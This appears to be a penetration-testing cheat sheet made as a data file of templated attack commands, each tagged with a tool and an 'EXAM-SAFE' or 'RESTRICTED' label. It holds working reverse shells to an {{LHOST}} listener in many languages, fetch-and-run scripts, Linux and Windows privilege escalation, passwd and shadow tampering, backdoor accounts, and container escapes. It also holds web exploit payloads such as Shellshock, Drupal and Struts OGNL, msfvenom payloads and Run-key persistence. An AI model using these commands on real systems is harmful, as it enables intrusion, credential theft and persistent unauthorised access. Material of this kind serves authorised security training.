curl -s -F 'file=@shell.php%00.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/uploads/shell.phtml?c=id'
curl ✓ EXAM-SAFE
find / -perm -4000 -type f 2>/dev/null
find ✓ EXAM-SAFE
getcap -r / 2>/dev/null
getcap ✓ EXAM-SAFE
find . -exec /bin/sh -p \; -quit
find ✓ EXAM-SAFE
./bash -p
bash ✓ EXAM-SAFE
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
python3 ✓ EXAM-SAFE
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' # via cap_setuid+ep
python3 ✓ EXAM-SAFE
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
perl ✓ EXAM-SAFE
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar ✓ EXAM-SAFE
less /etc/profile
less ✓ EXAM-SAFE
vi -c ':!/bin/sh' /dev/null
vi ✓ EXAM-SAFE
LFILE=/etc/passwd; ./cp -f /tmp/evil_passwd "$LFILE"
cp ✓ EXAM-SAFE
echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse
nmap ✓ EXAM-SAFE
id; whoami; hostname; uname -a; cat /etc/os-release
shell ✓ EXAM-SAFE
sudo -l
sudo ✓ EXAM-SAFE
find / -perm -4000 -type f 2>/dev/null
find ✓ EXAM-SAFE
find / -perm -2000 -type f 2>/dev/null
find ✓ EXAM-SAFE
getcap -r / 2>/dev/null
getcap ✓ EXAM-SAFE
curl -s http://{{LHOST}}:{{LPORT}}/linpeas.sh | sh
curl ✓ EXAM-SAFE
./linpeas.sh -a 2>&1 | tee /dev/shm/.lp.txt
linpeas ✓ EXAM-SAFE
wget -q http://{{LHOST}}:{{LPORT}}/LinEnum.sh -O /tmp/le.sh && bash /tmp/le.sh -t
wget ✓ EXAM-SAFE
./pspy64 -pf -i 1000
pspy ✓ EXAM-SAFE
find / -writable -type d 2>/dev/null | grep -v proc
shell ✓ EXAM-SAFE
ls -la /etc/cron* /etc/crontab; cat /etc/crontab; crontab -l 2>/dev/null
shell ✓ EXAM-SAFE
ss -tlnp 2>/dev/null; netstat -tlnp 2>/dev/null
shell ✓ EXAM-SAFE
grep -rinE 'password|passwd|pwd|secret|api[_-]?key' /var/www /home /etc /opt 2>/dev/null | head -50
shell ✓ EXAM-SAFE
getcap -r / 2>/dev/null
getcap ✓ EXAM-SAFE
getcap -r / 2>/dev/null | grep -iE 'cap_setuid|cap_setgid|cap_dac_read_search|cap_dac_override|cap_sys_admin|cap_sys_ptrace'
getcap ✓ EXAM-SAFE
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
python3 ✓ EXAM-SAFE
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
perl ✓ EXAM-SAFE
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
ruby ✓ EXAM-SAFE
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'
node ✓ EXAM-SAFE
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/bash' -ex quit
gdb ✓ EXAM-SAFE
/usr/bin/python3 -c 'import os; os.setuid(0); os.setgid(0)'
tar ✓ EXAM-SAFE
/usr/bin/python3 -c 'print(open("/etc/shadow","r").read())'
python3 ✓ EXAM-SAFE
/usr/bin/tar cf /tmp/shadow.tar /etc/shadow && tar xf /tmp/shadow.tar -O
tar ✓ EXAM-SAFE
/usr/bin/python3 -c 'open("/etc/passwd","a").write("hacker:$1$abc$...:0:0:root:/root:/bin/bash\n")'
python3 ✓ EXAM-SAFE
crontab -l
crontab ✓ EXAM-SAFE
cat /etc/crontab
cat ✓ EXAM-SAFE
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
ls ✓ EXAM-SAFE
cat /etc/cron.d/*
cat ✓ EXAM-SAFE
grep -rln "" /var/spool/cron/ 2>/dev/null; ls -la /var/spool/cron/crontabs/ 2>/dev/null
grep ✓ EXAM-SAFE
find / -name "*.sh" -perm -o+w -type f 2>/dev/null
find ✓ EXAM-SAFE
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> {{URL}}
bash ✓ EXAM-SAFE
/tmp/rootbash -p
bash ✓ EXAM-SAFE
printf '#!/bin/bash\nbash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\n' > /tmp/overwrite.sh; chmod +x /tmp/overwrite.sh
bash ✓ EXAM-SAFE
echo 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' > /home/user/overwrite.sh; chmod +x /home/user/overwrite.sh
bash ✓ EXAM-SAFE
touch /home/loot/--checkpoint=1; touch /home/loot/'--checkpoint-action=exec=sh runme.sh'; printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash\n' > /home/loot/runme.sh
bash ✓ EXAM-SAFE
./pspy64 -pf -i 1000
pspy ✓ EXAM-SAFE
wget http://{{LHOST}}:{{LPORT}}/pspy64 -O /tmp/pspy64; chmod +x /tmp/pspy64
wget ✓ EXAM-SAFE
id; groups; getent group docker lxd lxc
id ✓ EXAM-SAFE
ls -la /var/run/docker.sock; docker version
ls ✓ EXAM-SAFE
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker ✓ EXAM-SAFE
docker images; docker run -v /:/mnt --rm -it <local_image> chroot /mnt sh
docker ✓ EXAM-SAFE
docker run --rm -it --privileged --net=host --pid=host -v /:/host alpine chroot /host sh
docker ✓ EXAM-SAFE
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl ✓ EXAM-SAFE
curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["chroot","/host","sh","-c","cp /bin/bash /host/tmp/bash; chmod +s /host/tmp/bash"],"Binds":["/:/host"]}' http://localhost/containers/create
curl ✓ EXAM-SAFE
lxd init --auto; lxc image import ./alpine.tar.gz --alias myimage
lxc ✓ EXAM-SAFE
lxc init myimage privesc -c security.privileged=true; lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true; lxc start privesc; lxc exec privesc /bin/sh
lxc ✓ EXAM-SAFE
git clone https://github.com/saghul/lxd-alpine-builder.git; cd lxd-alpine-builder; sudo ./build-alpine
build-lxd-image ✓ EXAM-SAFE
uname -a; uname -r; arch
uname ✓ EXAM-SAFE
cat /etc/os-release; cat /etc/issue; lsb_release -a 2>/dev/null
cat ✓ EXAM-SAFE
./linux-exploit-suggester.sh
linux-exploit-suggester ⚠ RESTRICTED
perl linux-exploit-suggester-2.pl -k $(uname -r)
linux-exploit-suggester-2 ⚠ RESTRICTED
searchsploit linux kernel <version> privilege escalation
searchsploit ✓ EXAM-SAFE
searchsploit -m <edb-id>; searchsploit -x <edb-id>
searchsploit ✓ EXAM-SAFE
gcc exploit.c -o exploit -static; ./exploit
gcc ⚠ RESTRICTED
gcc -m32 -Wl,--hash-style=both exploit.c -o exploit
gcc ⚠ RESTRICTED
pkexec --version; ls -l $(which pkexec)
pkexec ✓ EXAM-SAFE
gcc -o pwnkit PwnKit.c; ./pwnkit
PwnKit ⚠ RESTRICTED
uname -r
uname ✓ EXAM-SAFE
gcc dirtypipez.c -o dirtypipez; ./dirtypipez $(find / -perm -4000 2>/dev/null | head -1)
dirtypipe ⚠ RESTRICTED
sudo --version; sudoedit -s '\' $(python3 -c 'print("A"*1000)')
sudo ✓ EXAM-SAFE
make; ./sudo-hax-me-a-sandwich 0
CVE-2021-3156 ⚠ RESTRICTED
uname -r
uname ✓ EXAM-SAFE
gcc -pthread dirty.c -o dirty -lcrypt; ./dirty
dirtycow ⚠ RESTRICTED
gcc -pthread cowroot.c -o cowroot -lcrypt; ./cowroot
dirtycow ⚠ RESTRICTED
sudo -l
sudo ✓ EXAM-SAFE
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
gcc ✓ EXAM-SAFE
sudo LD_PRELOAD=/tmp/preload.so apache2
sudo ✓ EXAM-SAFE
gcc -o /tmp/libcustom.so -shared -fPIC /tmp/library_path.c
gcc ✓ EXAM-SAFE
sudo LD_LIBRARY_PATH=/tmp <command>
sudo ✓ EXAM-SAFE
ldd /usr/sbin/apache2
ldd ✓ EXAM-SAFE
showmount -e {{RHOST}}
showmount ✓ EXAM-SAFE
nmap -sV -p 111,2049 --script=nfs-ls,nfs-showmount,nfs-statfs {{RHOST}}
nmap ✓ EXAM-SAFE
cat /etc/exports
shell ✓ EXAM-SAFE
mkdir -p /mnt/nfs && mount -t nfs -o vers=3 {{RHOST}}:/EXPORT_PATH /mnt/nfs
mount ✓ EXAM-SAFE
printf '#include <unistd.h>\nint main(){setuid(0);setgid(0);system("/bin/bash -p");return 0;}' > /mnt/nfs/shell.c && gcc /mnt/nfs/shell.c -o /mnt/nfs/shell -w
cc ✓ EXAM-SAFE
chown root:root /mnt/nfs/shell && chmod 4755 /mnt/nfs/shell
chmod ✓ EXAM-SAFE
/EXPORT_PATH/shell -p
shell ✓ EXAM-SAFE
cp /bin/bash /mnt/nfs/rootbash && chmod +xs /mnt/nfs/rootbash
shell ✓ EXAM-SAFE
strings /usr/local/bin/{{USER}}_helper
strings ✓ EXAM-SAFE
export PATH=/tmp:$PATH
bash ✓ EXAM-SAFE
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service && chmod +x /tmp/service
bash ✓ EXAM-SAFE
echo 'int main(){ setuid(0); setgid(0); system("/bin/bash -p"); return 0; }' > /tmp/cat.c && gcc /tmp/cat.c -o /tmp/cat
bash ✓ EXAM-SAFE
sudo PATH=/tmp:$PATH /usr/local/bin/{{USER}}_helper
sudo ✓ EXAM-SAFE
find / -perm -4000 -type f 2>/dev/null
find ✓ EXAM-SAFE
sudo -l
sudo ✓ EXAM-SAFE
find / -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name 'id_ecdsa' 2>/dev/null
find ✓ EXAM-SAFE
find / -name 'authorized_keys' 2>/dev/null -exec ls -la {} \;
shell ✓ EXAM-SAFE
ssh-keygen -t ed25519 -f ./pwn -N ''
ssh-keygen ✓ EXAM-SAFE
echo 'ssh-ed25519 AAAA...attacker pwn' >> /root/.ssh/authorized_keys
shell ✓ EXAM-SAFE
chmod 600 ./found_key && ssh -i ./found_key {{USER}}@{{RHOST}}
ssh ✓ EXAM-SAFE
ssh2john ./found_key > key.hash && john --wordlist={{WORDLIST}} key.hash
ssh2john ✓ EXAM-SAFE
ls -l /tmp/ssh-*/agent.* 2>/dev/null; env | grep SSH_AUTH_SOCK
shell ✓ EXAM-SAFE
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh-add -l
ssh-add ✓ EXAM-SAFE
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh {{USER}}@{{RHOST}}
ssh ✓ EXAM-SAFE
cat ~/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null; cat ~/.ssh/config /home/*/.ssh/config 2>/dev/null
shell ✓ EXAM-SAFE
grep -rIE 'BEGIN (OPENSSH|RSA|EC|DSA) PRIVATE KEY' / 2>/dev/null | head
shell ✓ EXAM-SAFE
sudo -l
sudo ✓ EXAM-SAFE
sudo -ln
sudo ✓ EXAM-SAFE
sudo -V | head -1
sudo ✓ EXAM-SAFE
sudo /bin/bash -p
sudo ✓ EXAM-SAFE
sudo -u root /usr/bin/find . -exec /bin/sh \; -quit
sudo ✓ EXAM-SAFE
sudo /usr/bin/vim -c ':!/bin/sh'
sudo ✓ EXAM-SAFE
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo ✓ EXAM-SAFE
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
sudo ✓ EXAM-SAFE
printf '#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash -p");}' > /tmp/shell.c && gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
ld_preload ✓ EXAM-SAFE
sudo LD_PRELOAD=/tmp/shell.so /usr/sbin/apache2
sudo ✓ EXAM-SAFE
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/somebinary
ld_library_path ✓ EXAM-SAFE
sudo -u#-1 /usr/bin/id
sudo ✓ EXAM-SAFE
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
sudo ⚠ RESTRICTED
./pspy64 -pf -i 1000
pspy ✓ EXAM-SAFE
find / -perm -4000 -type f 2>/dev/null
find ✓ EXAM-SAFE
find / -perm -u=s -type f 2>/dev/null
find ✓ EXAM-SAFE
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null
find ✓ EXAM-SAFE
find / -perm -2000 -type f 2>/dev/null
find ✓ EXAM-SAFE
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
find ✓ EXAM-SAFE
/usr/bin/find . -exec /bin/sh -p \; -quit
bash ✓ EXAM-SAFE
cp=$(command -v cp); $cp --no-preserve=mode,ownership /tmp/rootbash /tmp/x 2>/dev/null; bash -p
bash ✓ EXAM-SAFE
./suid_binary
bash ✓ EXAM-SAFE
strings /path/to/suid_binary
strings ✓ EXAM-SAFE
ltrace /path/to/suid_binary 2>&1
ltrace ✓ EXAM-SAFE
echo '#!/bin/bash\nbash -p' > /tmp/service; chmod +x /tmp/service; export PATH=/tmp:$PATH; /path/to/suid_binary
bash ✓ EXAM-SAFE
ldd /path/to/suid_binary
ldd ✓ EXAM-SAFE
gcc -shared -fPIC -o /tmp/libcustom.so /tmp/inject.c
gcc ✓ EXAM-SAFE
strace -f -e trace=open,openat,access /path/to/suid_binary 2>&1 | grep -iE 'ENOENT|\.so'
strace ✓ EXAM-SAFE
systemctl list-units --type=service --all
systemctl ✓ EXAM-SAFE
systemctl list-timers --all
systemctl ✓ EXAM-SAFE
find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ /run/systemd/ -name '*.service' -o -name '*.timer' 2>/dev/null | xargs ls -la 2>/dev/null
find ✓ EXAM-SAFE
find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ -writable -type f 2>/dev/null
find ✓ EXAM-SAFE
grep -r 'ExecStart' /etc/systemd/system/ 2>/dev/null
grep ✓ EXAM-SAFE
systemctl cat <service>.service
systemctl ✓ EXAM-SAFE
printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"\n[Install]\nWantedBy=multi-user.target\n' > {{URL}}
bash ✓ EXAM-SAFE
systemctl daemon-reload; systemctl restart <service>.service
systemctl ✓ EXAM-SAFE
/tmp/rootbash -p
bash ✓ EXAM-SAFE
sudo systemctl
sudo ✓ EXAM-SAFE
TF=$(mktemp).service; printf '[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target' > $TF; sudo systemctl link $TF; sudo systemctl enable --now $TF
sudo ✓ EXAM-SAFE
printf '[Unit]\nDescription=evil\n[Timer]\nOnCalendar=*-*-* *:*:00\nUnit=evil.service\n[Install]\nWantedBy=timers.target\n' > /etc/systemd/system/evil.timer
bash ✓ EXAM-SAFE
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.daily/
cat ✓ EXAM-SAFE
./pspy64 -pf -i 1000
pspy ✓ EXAM-SAFE
echo 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' > /path/backup/shell.sh
bash ✓ EXAM-SAFE
cd /path/backup && touch ./--checkpoint=1 && touch ./'--checkpoint-action=exec=sh shell.sh'
touch ✓ EXAM-SAFE
cd /path/backup && echo 'sh shell.sh' > runme.sh && touch './--checkpoint-action=exec=sh runme.sh' && touch ./--checkpoint=1
touch ✓ EXAM-SAFE
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /path/backup/x.sh
bash ✓ EXAM-SAFE
cd /path/src && touch ./'-e sh shell.sh'
touch ✓ EXAM-SAFE
cd /path/dir && touch ./--reference=/path/to/owned_file && touch attacker_target
bash ✓ EXAM-SAFE
cd /path/dir && touch ./--reference=/path/world_writable_perm_file
bash ✓ EXAM-SAFE
nc -lvnp {{LPORT}}
nc ✓ EXAM-SAFE
ls -la /etc/passwd /etc/shadow
ls ✓ EXAM-SAFE
find /etc/passwd /etc/shadow /etc/group -writable 2>/dev/null
find ✓ EXAM-SAFE
openssl passwd -1 -salt abc {{PASS}}
openssl ✓ EXAM-SAFE
openssl passwd -6 {{PASS}}
openssl ✓ EXAM-SAFE
echo 'hacker:$1$abc$<HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd
bash ✓ EXAM-SAFE
su hacker
su ✓ EXAM-SAFE
echo 'root::0:0:root:/root:/bin/bash' > /tmp/p; awk 'NR==1{print "root::0:0:root:/root:/bin/bash"} NR>1' /etc/passwd
bash ✓ EXAM-SAFE
openssl passwd -6 -salt xyz {{PASS}}
openssl ✓ EXAM-SAFE
sed -i 's#^root:[^:]*#root:$6$xyz$<HASH>#' /etc/shadow
bash ✓ EXAM-SAFE
su root
su ✓ EXAM-SAFE
unshadow /etc/passwd /etc/shadow > /tmp/unshadow.txt
unshadow ✓ EXAM-SAFE
john --wordlist={{WORDLIST}} /tmp/unshadow.txt
john ✓ EXAM-SAFE
nc -lvnp {{LPORT}}
nc ✓ EXAM-SAFE
rlwrap nc -lvnp {{LPORT}}
rlwrap ✓ EXAM-SAFE
bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1
bash ✓ EXAM-SAFE
bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'
bash ✓ EXAM-SAFE
0<&196;exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; sh <&196 >&196 2>&196
bash ✓ EXAM-SAFE
nc {{LHOST}} {{LPORT}} -e /bin/bash
nc ✓ EXAM-SAFE
ncat {{LHOST}} {{LPORT}} -e /bin/bash
ncat ✓ EXAM-SAFE
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {{LHOST}} {{LPORT}} > /tmp/f
nc ✓ EXAM-SAFE
ncat --ssl {{LHOST}} {{LPORT}} -e /bin/bash
ncat ✓ EXAM-SAFE
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{LHOST}}",{{LPORT}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
python ✓ EXAM-SAFE
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{LHOST}}",{{LPORT}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
python3 ✓ EXAM-SAFE
perl -e 'use Socket;$i="{{LHOST}}";$p={{LPORT}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl ✓ EXAM-SAFE
php -r '$sock=fsockopen("{{LHOST}}",{{LPORT}});exec("/bin/sh -i <&3 >&3 2>&3");'
php ✓ EXAM-SAFE
ruby -rsocket -e'f=TCPSocket.open("{{LHOST}}",{{LPORT}}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby ✓ EXAM-SAFE
socat TCP:{{LHOST}}:{{LPORT}} EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
socat ✓ EXAM-SAFE
socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}
socat ✓ EXAM-SAFE
socat OPENSSL:{{LHOST}}:{{LPORT}},verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
socat ✓ EXAM-SAFE
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {{LHOST}}:{{LPORT}} > /tmp/s; rm /tmp/s
openssl ✓ EXAM-SAFE
openssl s_server -quiet -key key.pem -cert cert.pem -port {{LPORT}}
openssl ✓ EXAM-SAFE
nc -lvnp {{LPORT}} -e /bin/bash
nc ✓ EXAM-SAFE
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp {{LPORT}} > /tmp/f
mkfifo ✓ EXAM-SAFE
python -c 'import pty; pty.spawn("/bin/bash")'
python ✓ EXAM-SAFE
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 ✓ EXAM-SAFE
stty raw -echo; fg
stty ✓ EXAM-SAFE
stty -a
stty ✓ EXAM-SAFE
stty rows {{USER}} cols {{PASS}}
stty ✓ EXAM-SAFE
export TERM=xterm
bash ✓ EXAM-SAFE
export SHELL=/bin/bash
bash ✓ EXAM-SAFE
script -qc /bin/bash /dev/null
script ✓ EXAM-SAFE
/usr/bin/script -qc /bin/bash /dev/null
script ✓ EXAM-SAFE
socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}
socat ✓ EXAM-SAFE
socat TCP:{{LHOST}}:{{LPORT}} EXEC:'bash -li',pty,stderr,setsid,sigint,sane
socat ✓ EXAM-SAFE
python3 -c 'import pty,os;os.environ["TERM"]="xterm";pty.spawn("/bin/bash")'
python3 ✓ EXAM-SAFE
expect -c 'spawn /bin/bash; interact'
expect ✓ EXAM-SAFE
searchsploit apache 2.4.49
searchsploit ✓ EXAM-SAFE
searchsploit -x linux/remote/50383.txt
searchsploit ✓ EXAM-SAFE
searchsploit -m windows/remote/42315.py
searchsploit ✓ EXAM-SAFE
nmap -p- -sV --version-all -oN nmap-full-{{RHOST}}.txt {{RHOST}}
nmap ✓ EXAM-SAFE
hydra -L users.txt -P {{WORDLIST}} -f {{RHOST}} -s {{RPORT}} http-get /manager/html
hydra ✓ EXAM-SAFE
msfvenom -p java/jsp_shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f war -o shell.war
msfvenom ✓ EXAM-SAFE
curl -u {{USER}}:{{PASS}} -T shell.war "{{URL}}/manager/text/deploy?path=/shell"
curl ✓ EXAM-SAFE
curl -u {{USER}}:{{PASS}} "{{URL}}/manager/text/undeploy?path=/shell"
curl ✓ EXAM-SAFE
println new ProcessBuilder('bash','-c','bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1').redirectErrorStream(true).start().text
groovy ✓ EXAM-SAFE
curl -k -u {{USER}}:{{PASS}} "{{URL}}/script" --data-urlencode "script=def p='id'.execute();println(p.text)"
curl ✓ EXAM-SAFE
nmap -p {{RPORT}} --script http-shellshock --script-args uri=/cgi-bin/status,cmd=id {{RHOST}}
nmap ✓ EXAM-SAFE
curl -H "User-Agent: () { :;}; echo; echo; /bin/bash -c 'id'" {{URL}}/cgi-bin/status
curl ✓ EXAM-SAFE
curl -H "User-Agent: () { :;}; /bin/bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'" {{URL}}/cgi-bin/status
curl ✓ EXAM-SAFE
curl -s '{{URL}}/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' --data 'form_id=user_pass&_triggering_element_name=name'
curl ✓ EXAM-SAFE
curl -s '{{URL}}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id'
curl ✓ EXAM-SAFE
curl -i '{{URL}}/' -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#proc=#p.start()).(#out=@org.apache.commons.io.IOUtils@toString(#proc.getInputStream())).(#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')).(#resp.getWriter().println(#out))}"
curl ✓ EXAM-SAFE
smbmap -H {{RHOST}} -u anonymous
smbmap ✓ EXAM-SAFE
smbclient //{{RHOST}}/share -U "./=`nohup bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'`"
smbclient ✓ EXAM-SAFE
msfconsole -q -x "use exploit/multi/samba/usermap_script; set RHOSTS {{RHOSTS}}; set LHOST {{LHOST}}; set LPORT {{LPORT}}; run"
msfconsole ⚠ RESTRICTED
msfconsole -q -x "use exploit/unix/ftp/proftpd_modcopy_exec; set RHOSTS {{RHOSTS}}; set SITEPATH /var/www/html; set LHOST {{LHOST}}; run"
msfconsole ⚠ RESTRICTED
nc {{RHOST}} {{RPORT}} SITE CPFR /etc/passwd SITE CPTO /tmp/passwd.copy
nc ✓ EXAM-SAFE
curl "{{URL}}/shell.php?cmd=id"
curl ✓ EXAM-SAFE
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
cmd ✓ EXAM-SAFE
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
cmd ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f msi -o evil.msi
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/adduser USER=hacker PASS=Passw0rd123! -f msi -o adduser.msi
msfvenom ✓ EXAM-SAFE
iwr -Uri {{URL}}/evil.msi -OutFile C:\Windows\Temp\evil.msi
powershell ✓ EXAM-SAFE
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi
cmd ✓ EXAM-SAFE
powerpick Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer','HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
powershell ✓ EXAM-SAFE
whoami /priv | findstr /i "SeAssignPrimaryToken SeImpersonate"
cmd ✓ EXAM-SAFE
C:\Windows\Temp\ps.exe -i -c cmd
printspoofer ✓ EXAM-SAFE
C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami"
godpotato ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe
msfvenom ✓ EXAM-SAFE
C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\rev.exe"
printspoofer ✓ EXAM-SAFE
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
cmd ✓ EXAM-SAFE
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
cmd ✓ EXAM-SAFE
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select-Object DefaultUserName,DefaultDomainName,DefaultPassword,AutoAdminLogon
powershell ✓ EXAM-SAFE
netexec smb {{RHOST}} -u {{USER}} -p {{PASS}} -M autologon
netexec ✓ EXAM-SAFE
runas /user:RECOVERED_USER cmd.exe
cmd ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}}
evil-winrm ✓ EXAM-SAFE
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
cmd ✓ EXAM-SAFE
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
cmd ✓ EXAM-SAFE
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
cmd ✓ EXAM-SAFE
Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-List
powershell ✓ EXAM-SAFE
icacls "C:\Program Files\Vendor\autostart.exe"
powershell ✓ EXAM-SAFE
Get-Acl 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' | Format-List
powershell ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o autostart.exe
msfvenom ✓ EXAM-SAFE
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\autostart.exe" /f
cmd ✓ EXAM-SAFE
$env:Path -split ';' | ForEach-Object { if ($_ -and (Test-Path $_)) { icacls $_ } }
powershell ✓ EXAM-SAFE
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Find-PathDLLHijack"
powerup ✓ EXAM-SAFE
accesschk.exe -accepteula -uwdq "C:\Path\To\AppDir"
accesschk ✓ EXAM-SAFE
Procmon64.exe /AcceptEula
procmon ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f dll -o hijack.dll
msfvenom ✓ EXAM-SAFE
Copy-Item .\hijack.dll 'C:\Path\To\WritableDir\MISSING.dll'; Get-Service 'VulnSvc' | Restart-Service -Force
powershell ✓ EXAM-SAFE
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch 'C:\\Windows' -and $_.StartName -eq 'LocalSystem' } | Select Name,PathName,StartName
powershell ✓ EXAM-SAFE
whoami /priv
cmd ✓ EXAM-SAFE
whoami /all
cmd ✓ EXAM-SAFE
systeminfo
cmd ✓ EXAM-SAFE
[System.Environment]::OSVersion.Version; (Get-CimInstance Win32_OperatingSystem).Caption; Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 15
powershell ✓ EXAM-SAFE
